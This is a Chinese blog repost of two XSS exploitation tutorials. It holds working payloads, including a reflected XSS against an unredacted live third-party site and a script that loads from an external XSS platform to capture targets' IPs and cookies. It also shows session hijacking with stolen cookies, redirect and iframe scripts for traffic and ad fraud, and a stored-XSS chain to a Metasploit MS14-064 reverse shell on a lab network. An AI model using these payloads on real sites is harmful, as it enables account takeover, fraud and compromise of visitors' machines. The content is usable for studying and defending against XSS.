XSS漏洞利用方式总结

Posted 巡安似海

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS漏洞利用方式总结相关的知识,希望对你有一定的参考价值。

前言:

最近一直在挖漏洞,碰到的XSS漏洞最多了,今天就顺便来讲一下,如有错的地方,烦请指出。

00×1    什么是XSS漏洞:

     XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

00×2    XSS漏洞有什么危害:

     1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

     2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

     3、盗窃企业重要的具有商业价值的资料

     4、非法转账

     5、强制发送电子邮件

     6、网站挂马

     7、控制受害者机器向其它网站发起攻击

00×3    XSS的分类:

     1,反射型:

     定义:非持久型、参数型

     出现位置:网站搜索栏、用户登入口位置

     2,存储型

     定义:持久型

     出现位置:网站留言、评论、博客日志等交互处

     3,DOM型

00×4    XSS漏洞的挖掘:

     如何去挖掘XSS呢?手工+工具+思路+勤奋的双手=漏洞

     手工:自己构造payload,见框就插

     工具:safe3,AWVS,Burpsuite丶Appscan丶XssSniper浏览器插件丶cookie修改工具

     思路:个人信息,留言板,评论等,注意观察url变化,也可能会出现其他漏洞,如:逻辑漏洞

     勤奋:不要总以为自己看一遍就会了,多去实战才能积累经验

     漏洞:当你看到别人挖到了这个网站的漏洞,你就不挖了,他可能只是过滤了一个字符呢?漏洞无处不在,思路很重要

00×5    XSS绕过方法总结:

     1,绕过单引号
     2,绕过 SCRIPT 过滤
     3,使用 IMG 源
     4,使用制表符 换行符和回车符
     5,使用空白符
     6,双引号配对的 bug
     7,绕过css过滤器
     8,不全面的过滤器
     9,转义字符
     10,编码

00×6    XSS的简单闭合案例:

     我已经找到了一个反射型的XSS,我就不打码了

      域名:http://so.kuge.cc/

     是酷鸽网的一个分站,首先我们插入正常的XSS代码    <script>alert('XSS')</script> 

     查看源代码,我们发现他已经插入到html代码中,但是没弹框,不要放弃,我们接着看

     

 

     我们发现<a href="?op=news&k=<script>alert('XSS')</script> " class="a">新闻</a>

  重点在<a标签,我们发现前面一个<a到后面">结束这一小部分

  我们开始构造payload,闭合<a>标签 payload:"><script>alert('XSS')</script><a

成功弹窗


00×7    利用XSS获取目标IP:

     首先你要找到一个存在XSS漏洞的站,反射型XSS也好,储存型XSS也好,DOM型的也一样

     还是刚才那个,域名:http://so.kuge.cc/

     构造payload:

     http://so.kuge.cc/search.phpk="><script src=你的XSS平台></script><a

  可以缩短发给目标,目标打开后,接收目标信息

00×8   新手在寻找XSS时所存在的一些误区:

     1,误区1:XSS,不是专门去“绕过”限制。

     打个简单的比方,一个已经被层层把守的大门,面前荆棘无数,而你又单枪匹马的,怎么闯的进去? 这个时候你要意识到,走大门是不可能的。其实我们要突破的城防,有很多小门可以进去的,甚至不需要任何手段就可以直接走进去。我们为什么不走呢?

     XSS是很好防御的,不就是过滤一下么,所以我们不要太多寄希望与程序员错误的过滤逻辑,而应该把希望寄托于程序员的“忘记过滤”上。



     2,误区2: XSS,不仅仅存在于你所看得见的位置。

大部分新手,在寻找XSS时,都会在一些评论框去输入XSS代码,然后看页面有没有弹窗。当然不是说这个方法没有用,而是这种方法,几乎很难“碰”到一个XSS。所以很多新手会觉得XSS怎么这么难找到。原因有几点:A):像评论框,个人资料这种,你所能想到的位置。稍微有一点安全意识的程序员也能想到,所以经常是被过滤掉的。
B):你所填入的资料,并不总是以html标签的形式,输出到页面上。所以有时候并不是不能X,只是因为你填入的东西不对。


看不见有两个层面:



A) 输入看不见。

建议大家在提交请求的时候,使用抓包软件,然后对请求的参数逐个测试。


B)  输出看不见。

建议大家对返回的数据,也可以使用抓包软件抓取数据,然后对抓回的数据进行搜索,搜索你输入的数据,来定位看不见的输出。

3,误区3: XSS,绕过限制不是让你乱用字符去绕过,切忌盲目。
     某人在看到代码是 <a href="xxxx\\u0022"> 的时候,问大家:“为什么\\u0022”不行啊? 这种绕过是盲目的。

     在测试初期,我们如果不愿意去看对方的代码逻辑,可以采用“盲目”的方式去测试(用各种特殊字符去试探),这样可以节省很多时间。但是,当我们已经能够确定,数据输出位于哪个点时,比如上面这个
xxxx ,我们已经知道是输出到了 href="之间"  的时候。我们就不能盲目的去"绕过”,一定要有针对性。这个针对性主要是以下几点。

A) 输出点,是直接输出,还是经过了DOM。

  简单通俗点的说法是:
  前者可以通过右键查看源代码,搜索到。
  后者通过右键查看源代码是搜索不到的。

B) 直接输出点,是位于HTML标签里,还是位于Script脚本里,或者是Style里

  HTML标签又分为:
    是在HTML标签之间: <div> 内容在这里 </div>
    还是在HTML属性之间: <img alt="内容在这里">
    还是在HTML事件之间:  <img>
  Script/style标签:
    根据输出自己去构造闭合,保证语法正确即可。

C)  DOM输出点,这个需要一定的JS基础。
  C.1) 定位输出内容的JS代码段。
  C.2) 查看此代码段,是否存在过滤问题。
  C.3) 如果存在,制定绕过规则。

D) 输出点,采用的什么过滤规则
  D.1)了解以上B)中,
    每个点该过滤什么字符,
    如果没过滤什么字符,该怎么去利用。
  D.2)逐个测试法,看看目标输出点,到底过滤了哪些字符
  D.3)测试服务器端的一些转换逻辑,比如有些服务器会先将&quot;转换为"
  D.4)确定是否可绕过,不能绕过的尽早放弃

     总之,首先要了解如何防御,你才能了解,如何绕过,不能盲目。其中,B+D的规则基本是死的,偶尔碰上些服务器端过滤逻辑有问题的,是可以绕过的,尤其是服务器端采用黑名单的方式时。C则较为灵活,所谓的“绕过”往往是针对这种。​

4,其它:


A) 代码里明明看到插入了 <script>,怎么不执行啊?


这种问题,zone里貌似有几个帖子了,这里强调下,打开调试工具看代码的时候,请注意颜色。
以chrome为例,只有<script>..</script>标记以彩色显示时,才说明是插入了,而以黑色显示时,实际上的代码是:&lt;script&gt;....
&lt;/script&gt; ,其它标签同理。


B) <xxx xxxx="xxx"> 这个放进去怎么不行啊?


首先确定你这个是XSS代码,此外,一些新手会在网上找到一些旧的资料,而有些XSS代码是IE6时代的产物,或者是浏览器特异的代码,所以一定要注意代码来源,适用于什么浏览器。

 

推荐书籍:

XSS跨站脚本攻击剖析与防御

XSS漏洞利用方式汇总

文章目录

以下所有的针对XSS的利用方式都是对XSS的深一步的学习了解、请勿于未授权环境下进行非法操作!!!

一、窃取Cookie

1.1 目的

  恶意攻击者通过XSS攻击,窃取其他账户的Cookie信息从而进行未授权非法操作。

1.2 实操

搭建xss平台

这里我直接百度一个xss平台来接Cookie

Tips:为了安全起见,建议使用自己搭建的XSS平台(如测试学习,不敏感的话随意)

》》注册一个测试账号(fengyue@126.com:fengyue123)
xss平台:

  • https://xss.pt
  • https://xsshs.cn

    》》任意创建一个项目


    》》复制payload

获取Cookie

》》这里我们使用靶场DVWA进行测试,在存在xss地方输入payload:


》》点击提交后即可在解cookie平台获取到当前账户的cookie和真实IP:

》》使用管理员的cookie登录系统(使用Chrome上的F12开发者工具,将拿到的Cookie值放入到Application中,浏览器输入跳转的目的地址回车便成功登录他人账户)

二、广告传播/SEO优化/刷取流量

2.1 目的

  通过恶意的JS代码将正常页面跳转到目的页面,利用网站进行重定向实现其引流、广告位传播等目的。

2.2 实操

2.2.1 恶意刷取访问量

网页直接跳转

(3种方式)

<script type="text/javascript">window.location.href="跳转的目的地址";</script>
<script type="text/javascript">window. location.replace("跳转的目的地址");</script>
<script type="text/javascript">window. location.assign("跳转的目的地址");</script>

》》为了体现效果,对靶机DVWA 存储型XSS处插入JS代码实现网页跳转:
(用户一访问到此页面就自动访问访问我博客的某一篇文章,访问量就+1)

网页延迟跳转

(网页停留三秒后再进行跳转)

<script type="text/javascript">
  function jumurl()
  window.location.href = 'https://www.baidu.com';
  
  setTimeout(jumurl,3000);
</script>

2.2.2 恶意广告展示

这里可以通过导入外链的方式对受害站点插入广告位,以来传播广告

<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=https://blog.csdn.net/Aaron_Miller/article/details/105918848></iframe>");</script>

三、网页挂马/权限提升

3.1 目的

  通过木马服务器(kali)搭建生成一个恶意URL地址,并通过存储型XSS挂到页面中。只要存在未打相应补丁的用户访问了挂马页面,恶意攻击者便获取到了受害者的控制权限(重点在于目的系统是否打了相应补丁)

3.2 环境

  • 木马服务器(Kali  MS14-064  IP:192.168.7.129)
  • 受害者(Windows Server 2003 R2  IP:192.168.7.136)
  • 存在XSS的服务器(Win10 DVWA靶机 IP:192.168.1.103)

3.3 实操

3.3.1 生成木马URL

》》启动Metasploit

》》调用缓冲区溢出漏洞MS14-064(影响范围Win95-Win10,触发该漏洞条件要客户端装有power shell,详情见:微软官网

》》设置木马服务器IP,允许调用powsershell

》》调用反弹连接payload

Tips:reverse_tcp好处:靶机主动连接我们,不用担心靶机防火墙的问题


》》设置监听IP,使用默认监听端口4444,执行攻击(自动生成攻击地址)

3.3.2 XSS插入地址

》》恶意攻击者通过存储型xss将木马服务器生成的地址插入到网站中:

<script type="text/javascript">window.location.href="http://192.168.7.129:8080/W0fGq97a2ICU0
";</script>


》》当存在ms14-064漏洞的主机访问到该页面,攻击者就会获取到目的服务器操作系统的权限(如开启摄像头、添加用户、截屏、录音等)
(win2003r2模拟访问)


以上是关于XSS漏洞利用方式总结的主要内容,如果未能解决你的问题,请参考以下文章

黑客利用XSS漏洞,可访问谷歌的内部网络

攻击者可利用印象笔记中的XSS漏洞执行命令并窃取文件

3大Web安全漏洞防御详解:XSS、CSRF、以及SQL注入解决方案

XSS最强知识体系漏洞万字总结

XSS漏洞攻击

如何为开发人员演示DOM型XSS漏洞利用过程